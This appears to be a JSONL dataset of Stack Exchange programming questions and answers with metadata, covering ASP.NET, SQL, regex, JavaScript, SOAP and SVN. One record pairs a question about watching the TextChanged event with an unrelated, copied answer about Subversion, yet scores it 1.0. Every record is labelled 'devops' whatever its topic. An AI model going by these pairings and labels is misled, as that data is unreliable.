{"id": "hf_1d7b2c480913", "question": "<p>A classic ASP.NET app - AppSrv + MS SQL DB. Both servers are heavy-lifters 8 cores, 20 GB of RAM. When load testing, the throughput goes somewhere to 400 VirtualUsers (according to LoadRunner) with CPU being approximately 30% utilized an DB server primarily idling - response times go dramatically up, to the point of unresponsive.</p>\n\n<p>The usual suspects, such as Max Pool being exhausted and conn limit on ASP.NET set are not at fault: Max Pool is set to 200 and about 80 conns are used; conn limit is set to 0. </p>\n\n<p>I ran with ANTS profiler the code and it showed that Thread blocking did not contribute significantly. </p>\n\n<p>Ideas very very welcome!</p>\n", "question_body": "", "answer": "Does the host utilize App Pool?\nDid you try increase the number to 5 to 10 in\n```\n```\nAn Application Pool -> Performance -> \nWeb Garden -> Max Number of worker processes\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.089736"}
{"id": "hf_d40a8f0eab7d", "question": "<p>When I launch perfmon and try to add a counter, the displayed performance objects are all numbers. How can I reset these Performance objects?</p>\n", "question_body": "", "answer": "What do you mean my \"reset\"? What's the behavior you're expecting?\nThe perfmon \"System Monitor\" view shows the (near) real time value of the counter. Since these measurements are always being taken there will (almost) always be a number there.\nIf you want to be able to control the collection of these measurements, you need to create a Counter Log. Additionally, you can use the logman command to manage the log from the command line or a script.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.150893"}
{"id": "hf_1f7f4e0d1a6e", "question": "<pre><code>today1 = new Date();\ntoday2 = Date.parse(\"2008-28-10\");\n</code></pre>\n\n<p>To compare the time (millisecond) values of these I have to do the following, because today2 is just a number.</p>\n\n<pre><code>if (today1.getTime() == today2)\n</code></pre>\n\n<p>Why is this?</p>\n", "question_body": "", "answer": "If I remember correctly, Date gives you a value down to the millisecond you created the Date object. So unless this code runs exactly on 2008-28-10 at 00:00:00:000, they won't be the same.\nJust an addition: Date.parse() by definition returns a long value representing the millisecond value of the Date, and not the Date object itself. If you want to hold the Date object itself, just build it like so:\n```\n```\nvar newDate = new Date();\nnewDate.setFullYear(2008,9,28);\n```\n```\nFor more reference check out:\nthe Date class reference", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.186592"}
{"id": "hf_70866e8704d6", "question": "<p>Whilst investigating a memory leak I discovered that it was caused by calling NewRow() on a Table inside a loop many times. However the DataRow created was never added to the Table Rows collection and the Table Rows Count never got above zero.</p>\n\n<p>My question is why does this use up more memory every time NewRow is called even though the newly created DataRow never gets added to the Rows collection and the DataRow returned from NewRow is always assigned to the same local variable (thereby apparently discarding the last new row).</p>\n\n<p>Please ignore the issue of why the code is creating DataRows that don't get added to the table!</p>\n", "question_body": "", "answer": "I think your two issues are related.\nTable.NewRow creates a new data row that has the same column format as the initial Table.\nThis new row needs to be added to the table using table.Rows.Add(newRow). Your loop will be creating objects that are never used and hence will eat up memory.\nSee this article for more information\nhttp://msdn.microsoft.com/en-us/library/system.data.datatable.newrow.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.215109"}
{"id": "hf_090d4c1b6e9c", "question": "<p><em>Omitting details of methods to calculate primes, and methods of factorisation.</em></p>\n<h3>Why bother to factorise ?</h3>\n<h3>What are its applications ?</h3>\n", "question_body": "", "answer": "Wow, so much fighting in this thread.\nIronically, this question HAS a major valid answer.\nFactorization is actually used heavily in encryption/decryption algorithms, so much so that the RSA regularly conducts competitions wherein the task is to factorize certain large numbers that are multiples of very large prime numbers.\nThis is, in turn, because several encryption/decryption algorithms are based on the premise that factorization takes a very long time, which (supposedly) makes it difficult and/or impractical to crack certain encryption/decryption algorithms given the assumption that the hacker/cracker does not have access to public/private keys.\nFactorization algorithms can then be used to verify just how strong any given encryption/decryption algorithm is.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.253317"}
{"id": "hf_fb3c9c079b3d", "question": "<p>I have one aspx page with some controls. \nAlso i have one DIV which is dynamically populated from AJAX call.\nThis AJAX call return couple of controls, for example HtmlInputText1 and HtmlInputText2.</p>\n\n<p>When page is submitted, I can get values from this controls through Request.Form.\nIf possible access to the attributes of this control on pege code behind (for example HtmlInputText1.Height, etc).  </p>\n\n<p>I think that is impossible, but I am not sure. \nI can use hidden field. Is any other way?</p>\n", "question_body": "", "answer": "The data you want the server to know can be set by the javascript within the form.\nThen You can process postback data for the target values manually.\nYou can write some javascript which modify the value of the server control within browser.\n```\n```\n<script language=\"javascript\" type=\"text/javascript\">\nfunction changeValue() {\n    var txtControlClient = document.getElementById('<%= txtControl.ClientID %>');\n    txtControlClient.value = \"modified text\";\n}\n</script>\n```\n```\nIn the expected event, you call changeValue() function before the postback, then you can just use server control object txtControl to obtain the value or property you have altered.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.291995"}
{"id": "hf_437f53ef3066", "question": "<p>Do you have any examples of real life applications of mutation testing? Does it work better than simple test coverage tools? Or is it useless?</p>\n\n<p>What are the advantages/disadvantages of mutation testing in the real world?</p>\n", "question_body": "", "answer": "I looked at mutation test some time ago as a method for checking the efficacy of my automated regression testing scripts.  Basically, a number of these scripts had missing checkpoints, so while they were exercising the application being tested correctly, they weren't verifying the results against the baseline data.  I found that a far simpler method than changing the code was to write another application to introduce modifications to a copy of the baseline, and re-run the tests against the modified baseline.  In this scenario, any test that passed was either faulty or incomplete.\nThis is not genuine mutation testing, but a method that uses a similar paradigm to test the efficacy of test scripts.  It is simple enough to implement, and IMO does a good job.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.331876"}
{"id": "hf_83af35b6fdb8", "question": "<p>I need to implement a SSO between a SharePoint site and a custom PHP-based site which resides on a different domain. I need to use the SharePoint user accounts to log in the PHP site. (I'll have a full control over the PHP source)</p>\n<p>Is this possible? Any tips and tricks?</p>\n", "question_body": "", "answer": "I don't know much about this area but hopefully this might help point you in the right direction.\nInvestigate LDAP...\nYou can set up PHP to use LDAP credentials. If your SharePoint site uses Active Directory, then you can expose this directory as an LDAP source and use that in the PHP application.\nAutomated sign-in...\nHaving the sign in happen automatically between each site is a very different matter. e.g. I'm logged into MOSS already, click on a link that goes to the PHP app and find that I'm already logged in there as well. For this you will need to investigate using something like Kerberos keys/authentication. It's a messy and difficult area.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.369511"}
{"id": "hf_30584a50f4fd", "question": "<p>I am trying to write a replacement regular expression to surround all words in quotes except the words AND, OR and NOT. </p>\n\n<p>I have tried the following for the match part of the expression:</p>\n\n<pre><code>(?i)(?&lt;word&gt;[a-z0-9]+)(?&lt;!and|not|or)\n</code></pre>\n\n<p>and </p>\n\n<pre><code>(?i)(?&lt;word&gt;[a-z0-9]+)(?!and|not|or)\n</code></pre>\n\n<p>but neither work. The replacement expression is simple and currently surrounds all words.</p>\n\n<pre><code>\"${word}\"\n</code></pre>\n\n<p>So </p>\n\n<blockquote>\n  <p>This and This not That</p>\n</blockquote>\n\n<p>becomes </p>\n\n<blockquote>\n  <p>\"This\" and \"This\" not \"That\"</p>\n</blockquote>\n", "question_body": "", "answer": "This is a little dirty, but it works:\n```\n```\n(?<!\\b(?:and| or|not))\\b(?!(?:and|or|not)\\b)\n```\n```\nIn plain English, this matches any word boundary not preceded by and not followed by \"and\", \"or\", or \"not\". It matches whole words only, e.g. the position after the word \"sand\" would not be a match just because it is preceded by \"and\".\nThe space in front of the \"or\" in the zero-width look-behind assertion is necessary to make it a fixed length look-behind. Try if that already solves your problem.\nEDIT: Applied to the string \"except the words AND, OR and NOT.\" as a global replace with single quotes, this returns:\n```\n```\n'except' 'the' 'words' AND, OR and NOT.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.418152"}
{"id": "hf_504a5095434b", "question": "<p>Which SQL statement is faster?</p>\n\n<pre><code>SELECT TOP 2 c1.Price, c2.Price, ..... c49.Price, c50.Price\nFROM Table1 AS c1, Table2 AS c2, ..... Table49 AS c49, Table50 AS c50\nWHERE c1.Date = c2.Date AND c2.Date = c3.Date ..... c49.Date = c50.Date\nORDER BY c1.ID DESC\n\n        OR\n\nSELECT TOP 2 c1.Price, c2.Price, ..... c49.Price, c50.Price\nFROM (Table1 AS c1 \n INNER JOIN (Table2 AS c2 \n    ........\n  INNER JOIN (Table49 AS c49\n   INNER JOIN Table50 AS c50\n  ON c49.Date = c50.Date)\n    ........\n ON c2.FullDate__ = c3.FullDate__)\nON c1.FullDate__ = c2.FullDate__)\nORDER BY c1.ID DESC\";   \n</code></pre>\n\n<p>Basically I need to extract 2 rows from each table to produce a summary periodically.\nWhich statement is faster?</p>\n", "question_body": "", "answer": "WHERE would usually be better but the best way is\ncase by case\nand throw this into profiler, or simpler yet\ndisplay execution plan\n.  Folk often have very strong opinions on which approach is fastest/best in theory but there is no replacement for actually tuning according to the data you actually deal with as theories applicable change depending on your data load.\nIf you do not have\nreal data\nin your app yet, try and create some realistic stress data.  This will continue to be useful for testing.  Then schedule time to tune once the application is live.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.443293"}
{"id": "hf_89742217bef5", "question": "<p>I think this must be simple but I can't get it right...</p>\n\n<p>I have an MxM triangular matrix, the coefficients of which are stored in a vector, row by row. \nFor example:</p>\n\n<pre><code>M =   [ m00 m01 m02 m03 ] \n      [     m11 m12 m13 ]\n      [         m22 m23 ]\n      [             m33 ]\n</code></pre>\n\n<p>is stored as </p>\n\n<pre><code>coef[ m00 m01 m02 m03 m11 m12 m13 m22 m23 m33 ]\n</code></pre>\n\n<p>Now I'm looking for a non-recursive algorithm that gives me for matrix size <code>M</code> and coefficient array index <code>i</code></p>\n\n<pre><code>unsigned int row_index(i,M)\n</code></pre>\n\n<p>and </p>\n\n<pre><code>unsigned int column_index(i,M)\n</code></pre>\n\n<p>of the matrix element that it refers to. So,\n<code>row_index(9,4) == 3</code>, <code>column_index(7,4) == 2</code> etc. if the index counting is zero-based.</p>\n\n<p>EDIT: Several replies using an iteration have been given. Does anyone know of algebraic expressions?</p>\n", "question_body": "", "answer": "Took me some time to understand what you needed! :)\n```\n```\nunsigned int row_index(int i, int m)\n{\n    int iCurrentRow = 0;\n    int iTotalItems = 0;\n    for(int j = m; j > 0; j--)\n    {\n        iTotalItems += j;\n\n        if( (i+1) <= iTotalItems)\n            return iCurrentRow;\n\n        iCurrentRow ++;\n    }\n\n    return -1; // Not checking if \"i\" can be in a MxM matrix.\n}\n```\n```\nSorry forgot the other function.....\n```\n```\nunsigned int column_index(int i, int m)\n{\n    int iTotalItems = 0;\n    for(int j = m; j > 0; j--)\n    {\n        iTotalItems += j;\n\n        if( (i+1) <= iTotalItems)\n            return m - (iTotalItems - i);\n    }\n\n    return -1; // Not checking if \"i\" can be in a MxM matrix.\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.469853"}
{"id": "hf_4d19c351ace1", "question": "<p>My client wants to send email announcements and reports for customers. Now. The python-side code doesn't seem too hard but there's the rest of the story.</p>\n\n<p>What do I require in order to send such emails that won't end up getting blocked by email servers and clients?</p>\n", "question_body": "", "answer": "There's no sure fire way, as email filters can do as they wish, but a few recommendations:\nUse a real SMTP server, usually your client's (Authenticating if needs be). By real I mean one that's in real usage not a special one to send your emails only.\nSend from a real account able to receive responses.\nAvoid HTML if possible, if not possible, send a\nmultipart message\n.\nSend all mandatory headers plus some headers usually sent by common MUAs.\nGenerally, check the common spam\ndetection rules\nto get a feel what's common in spam mails.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.494663"}
{"id": "hf_afc1bff518ed", "question": "<p>How do you split a string?</p>\n\n<p>Lets say i have a string \"dog, cat, mouse,bird\"</p>\n\n<p>My actual goal is to insert each of those animals into a listBox, so they would become items in a list box.</p>\n\n<p>but i think i get the idea on how to insert those items if i know how to split the string. or does anyone know a better way to do this?</p>\n\n<p>im using asp c#</p>\n", "question_body": "", "answer": "```\n```\nstring[] tokens = text.Split(',');\n\n    for (int i = 0; i < tokens.Length; i++)\n    {\n          yourListBox.Add(new ListItem(token[i], token[i]));\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.523035"}
{"id": "hf_46c1cde65042", "question": "<p>Recently developers highlighted that it is bit hard for them to keep track of which document has been updated. And they thus suggested that using SVN to keep track of document changes will be better as they will be able to know if document if being updated when doing checking out of the project. </p>\n\n<p>But i also highlighted the several cons that may occur</p>\n\n<ul>\n<li>Binary file using up alot of diskspace everytime word, excel document is commited</li>\n<li>Checkout a project will take much more time although we can separate the documents into another project in the repository</li>\n<li>It will take time to teach personnel on how to use SVN.</li>\n</ul>\n\n<p>Another feature is that for these kind of functional documents, it should be locked while editing.</p>\n\n<p>Anyone have any idea on how to go about it? Or what are the pros and cons to it. Please feel free to share with me.</p>\n", "question_body": "", "answer": "We use Subversion for document management at work. It works great.\nDon't worry about the disk space. Revisions are stored compressed anyway.\nChecking out a project with documentation doesn't take much more time than one without. Unless your documents are absolutely huge, this shouldn't be a problem.\nTraining time is a consideration. Fortunately, TortoiseSVN makes this easy.\nTo manage Word documents so they can only be edited by one person at a time, use the\n```\nsvn:needs-lock\n```\nproperty. This will make the files appear as read-only on a normal checkout, and read-write when a developer has locked them for editing. After commit, the file will be unlocked and read-only again.\nAn additional benefit of TortoiseSVN is that it can do diffs of Word documents and present the differences in Word itself. This alone is a killer feature for me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.572885"}
{"id": "hf_f8c8dc581eb9", "question": "<p>When I add the textBox.TextChanged to watch list I get a message saying <pre>The event 'System.Windows.Forms.Control.TextChanged'\ncan only appear on the left hand side of += or -=</pre></p>\n\n<p>Is there any way to check what event's are called on text change?</p>\n", "question_body": "", "answer": "We use Subversion for document management at work. It works great.\nDon't worry about the disk space. Revisions are stored compressed anyway.\nChecking out a project with documentation doesn't take much more time than one without. Unless your documents are absolutely huge, this shouldn't be a problem.\nTraining time is a consideration. Fortunately, TortoiseSVN makes this easy.\nTo manage Word documents so they can only be edited by one person at a time, use the\n```\nsvn:needs-lock\n```\nproperty. This will make the files appear as read-only on a normal checkout, and read-write when a developer has locked them for editing. After commit, the file will be unlocked and read-only again.\nAn additional benefit of TortoiseSVN is that it can do diffs of Word documents and present the differences in Word itself. This alone is a killer feature for me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.597618"}
{"id": "hf_b5a96b160763", "question": "<p>My account is in the securityadmin role and I cannot grant myself sysadmin permission. I wish to gain access to a database so I can add my account to a particular role within it. <br />\nAs I don't yet have access to the database I can't use the UI.</p>\n\n<p>Does anyone know if this is possible and what SQL commands will achieve this in SQL Server 2005? <br />Thanks!</p>\n", "question_body": "", "answer": "The\nsysadmin role\n, as the name implies, can do anything within SQL Server. It has complete rights over the SQL Server. It is the only role that can add others to the sysadmin role. There isn’t anything within SQL Server a sysadmin role member can’t do.\nYou could use the system stored procedure\nadd_srvrolemember\nto assign users to this role.\nExample:\n```\n```\nEXEC sp_addsrvrolemember 'BUILTIN\\Administrators', 'sysadmin'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.622448"}
{"id": "hf_cdcb4feacbfe", "question": "<p>There is div named \"dvUsers\". there is an anchor tag \"lnkUsers\".</p>\n\n<p>When one clicks on anchortag, the div must open like a popup div just below it.</p>\n\n<p>Also the divs relative position should be maintained at window resize and all.\nHow to do that using javascript/jquery?</p>\n", "question_body": "", "answer": "```\n```\n$(document).ready(function(){ $(\"#lnkUsers\").click(function(){ $(\"#dvUser\").show(\"slow\"); });\n```\n```\nstyle=\"display: none\" should be applied to dvUser at the first place to make it invisible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.662668"}
{"id": "hf_09885c27f576", "question": "<p>Recently I've been seeing a lot of this:</p>\n\n<pre><code>&lt;a href='http://widget-site-example.com/example.html'&gt;\n    &lt;img src='http://widget-site-example.com/ross.jpg' alt='Ross&amp;#39;s Widget' /&gt;\n&lt;/a&gt;\n</code></pre>\n\n<p>Is it valid to use single quotes in HTML? As I've highlighted above it's also problematic because you have to escape apostrophes.</p>\n", "question_body": "", "answer": "It's certainly valid to use single quotes (\nHTML 4.01, section 3.2.2\n). I haven't noticed such a trend, but perhaps there's some framework that powers web sites you've visited that happens to quote using single quotes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.687200"}
{"id": "hf_f96abb0f6beb", "question": "<p>How can I create an Oracle stored procedure which accepts a variable number of parameter values used to feed a IN clause?</p>\n\n<p>This is what I am trying to achieve. I do not know how to declare  in PLSQL for passing a variable list of primary keys of the rows I want to update.</p>\n\n<pre><code>FUNCTION EXECUTE_UPDATE\n  ( &lt;parameter_list&gt;\n   value IN int)\n  RETURN  int IS\nBEGIN \n    [...other statements...]\n    update table1 set col1 = col1 - value where id in (&lt;parameter_list&gt;) \n\n    RETURN SQL%ROWCOUNT ;\nEND;\n</code></pre>\n\n<p>Also, I would like to call this procedure from C#, so it must be compatible with .NET capabilities. </p>\n\n<p>Thanks,\nRobert</p>\n", "question_body": "", "answer": "I've not done it for Oracle, but with SQL Server you can use a function to convert a CSV string into a table, which can then be used in an IN clause. It should be straight-forward to re-write this for Oracle (I think!)\n```\n```\nCREATE Function dbo.CsvToInt ( @Array varchar(1000)) \nreturns @IntTable table \n    (IntValue nvarchar(100))\nAS\nbegin\n\n    declare @separator char(1)\n    set @separator = ','\n\n    declare @separator_position int \n    declare @array_value varchar(1000) \n\n    set @array = @array + ','\n\n    while patindex('%,%' , @array) <> 0 \n    begin\n\n      select @separator_position =  patindex('%,%' , @array)\n      select @array_value = left(@array, @separator_position - 1)\n\n        Insert @IntTable\n        Values (Cast(@array_value as nvarchar))\n\n      select @array = stuff(@array, 1, @separator_position, '')\n    end\n\n    return\nend\n```\n```\nThen you can pass in a CSV string (e.g. '0001,0002,0003') and do something like\n```\n```\nUPDATE table1 SET \n       col1 = col1 - value \nWHERE id in (SELECT * FROM csvToInt(@myParam))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.714715"}
{"id": "hf_f1cb6ddda6bf", "question": "<p>I need to write a regular expression that finds javascript files that match  </p>\n\n<pre><code>&lt;anypath&gt;&lt;slash&gt;js&lt;slash&gt;&lt;anything&gt;.js\n</code></pre>\n\n<p>For example, it should work for both :</p>\n\n<ul>\n<li>c:\\mysite\\js\\common.js (Windows)</li>\n<li>/var/www/mysite/js/common.js (UNIX)</li>\n</ul>\n\n<p>The problem is that the file separator in Windows is not being properly escaped :</p>\n\n<pre><code>pattern = Pattern.compile(\n     \"^(.+?)\" + \n     File.separator +\n     \"js\" +\n     File.separator +\n     \"(.+?).js$\" );\n</code></pre>\n\n<p>Throwing  </p>\n\n<pre><code>java.util.regex.PatternSyntaxException: Illegal/unsupported escape sequence\n</code></pre>\n\n<p>Is there any way to use a common regular expression that works in both Windows and UNIX systems ?</p>\n", "question_body": "", "answer": "Does\n```\nPattern.quote(File.separator)\n```\ndo the trick?\nEDIT: This is available as of Java 1.5 or later. For 1.4, you need to simply escape the file separator char:\n```\n```\n\"\\\\\" + File.separator\n```\n```\nEscaping punctuation characters will not break anything, but escaping letters or numbers unconditionally will either change them to their special meaning or lead to a\nPatternSyntaxException\n.\n(Thanks\nAlan M\nfor pointing this out in the comments!)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.762906"}
{"id": "hf_c8b17cb4e5f1", "question": "<p><code>console.log(&quot;double&quot;);</code> vs. <code>console.log('single');</code></p>\n<p>I see more and more JavaScript libraries out there using single quotes when handling strings. What are the reasons to use one over the other?</p>\n<p>I thought they're pretty much interchangeable.</p>\n", "question_body": "", "answer": "The most likely reason for use of single vs. double in different libraries is programmer preference and/or API consistency. Other than being consistent, use whichever best suits the string.\nUsing the other type of quote as a literal:\n```\n```\nalert('Say \"Hello\"');\nalert(\"Say 'Hello'\");\n```\n```\nThis can get complicated:\n```\n```\nalert(\"It's \\\"game\\\" time.\");\nalert('It\\'s \"game\" time.');\n```\n```\nAnother option, new in ECMAScript 6, is\ntemplate literals\nwhich use the\nbacktick\ncharacter:\n```\n```\nalert(`Use \"double\" and 'single' quotes in the same string`);\nalert(`Escape the \\` back-tick character and the \\${ dollar-brace sequence in a string`);\n```\n```\nTemplate literals offer a clean syntax for: variable interpolation, multi-line strings, and more.\nNote that\nJSON\nis formally specified to use double quotes, which may be worth considering depending on system requirements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.799459"}
{"id": "hf_655c692fb745", "question": "<p>Why would someone use <code>WHERE 1=1 AND &lt;conditions&gt;</code> in a SQL clause (Either SQL obtained through concatenated strings, either view definition)</p>\n\n<p>I've seen somewhere that this would be used to protect against SQL Injection, but it seems very weird.</p>\n\n<p>If there is injection <code>WHERE 1 = 1 AND injected OR 1=1</code> would have the same result as <code>injected OR 1=1</code>.</p>\n\n<p>Later edit: What about the usage in a view definition?</p>\n\n<hr>\n\n<p>Thank you for your answers.</p>\n\n<p>Still,\nI don't understand why would someone use this construction for defining a view, or use it inside a stored procedure.</p>\n\n<p>Take this for example:</p>\n\n<pre><code>CREATE VIEW vTest AS\nSELECT FROM Table WHERE 1=1 AND table.Field=Value\n</code></pre>\n", "question_body": "", "answer": "If the list of conditions is not known at compile time and is instead built at run time, you don't have to worry about whether you have one or more than one condition. You can generate them all like:\n```\n```\nand <condition>\n```\n```\nand concatenate them all together. With the\n```\n1=1\n```\nat the start, the initial\n```\nand\n```\nhas something to associate with.\nI've never seen this used for any kind of injection protection, as you say it doesn't seem like it would help much. I\nhave\nseen it used as an implementation convenience. The SQL query engine will end up ignoring the\n```\n1=1\n```\nso it should have no performance impact.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.824522"}
{"id": "hf_cd39634f1767", "question": "<p>We are developing a new web service and are looking into the \"best practice\" for returning errors in the soap response.  </p>\n\n<p>We were looking into creating a error response object which every response would contain as a property.  This seems a little heavy however and are wondering if it is possible to use the SOAP header to carry this information?  How do you normally deal with custom errors using SOAP?</p>\n", "question_body": "", "answer": "Soap already uses custom headers for error info, all you need to do is throw an exception on the server side, and exception is raised on the client side as a\nSoapException\n.\nYou can thrown SoapExceptions on the serverside if you want more control over the exception message/info.\nEdit:\nFor extra information along with the request, custom soap headers can be used. Here's an\nexample article on CodeProject\nthat used custom soap headers for authentication, but custom soap headers can be used for other purposes like sending extra info that is not necessarily an error condition (can be business logic info)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.861186"}
{"id": "hf_52a5b8770c6a", "question": "<p>I know that there has been a couple questions about tutorials on moq. But I am wondering if there are any sample apps out there that use moq in the context of an n-tier business application using ado.net.</p>\n\n<p>I find the tutes good, but they don't seem to bring everything all together into the big picture. Thus, I am looking for a sample app that brings the full picture together.</p>\n\n<p>Also, I think there is a little bit of a lack of examples which specifically deal with mocking and testing the logic in the data access layer.</p>\n\n<p>Cheers \nAnthony</p>\n", "question_body": "", "answer": "Moq, like all unit testing frameworks, should not have much a concept of n-tier-ness about it.\nOne would typically use unit testing to test each individual class one-at-a-time. When a particular class is a little more complex and relies on having references to component classes and calling methods on these component classes, one might use a mocking framework such as Moq to create these constituent components, and to have the class-under-test use these mocked components instead of the real deals.\nIt looks like you are looking for how to use Moq in integration testing, where you bring all the components together and test the whole shebang all at once, including the data-access components. For doing whole-shebang tests, typically you need the real components, not mocked versions of them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.885968"}
{"id": "hf_53702cf6224d", "question": "<p>We have an application that use MSSQL, when we move to 2005, basically we recommend to our client to apply the backward compatibility package and that’s it, but somebody ask me what to do to be 100% compatible on 2005.\nI was thinking on\n1. Compatibility level: SQL Server 2005 (90)\n2. Remove any DMO reference, and replaced by SMO\n3. Connect using ADO</p>\n\n<p>I am not sure if this is the correct answer.</p>\n", "question_body": "", "answer": "Actually you are talking about two different things.\nOne is to update the database to SQL 2005 level, to be able to use the functions only available there. It can be done easily by setting the compatibility level. However in this case SQL 2000 clients can have problems with it.\nSecond is to upgrade your application to use only SQL 2005 related libraries. This is also easy, basically the steps what you have written. In this case your application can also work with SQL 2000 databases (except if you use some SQL 2005 specific feature) because the libraries are backward compatible.\nEnd words: you are either way\ncompatible\nwith SQL 2005, the only difference is that you can use SQL 2005\nspecific features\nor not.\nWhy not change to SQL 2008 already?\nHere is a thread\nabout this topic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.910850"}
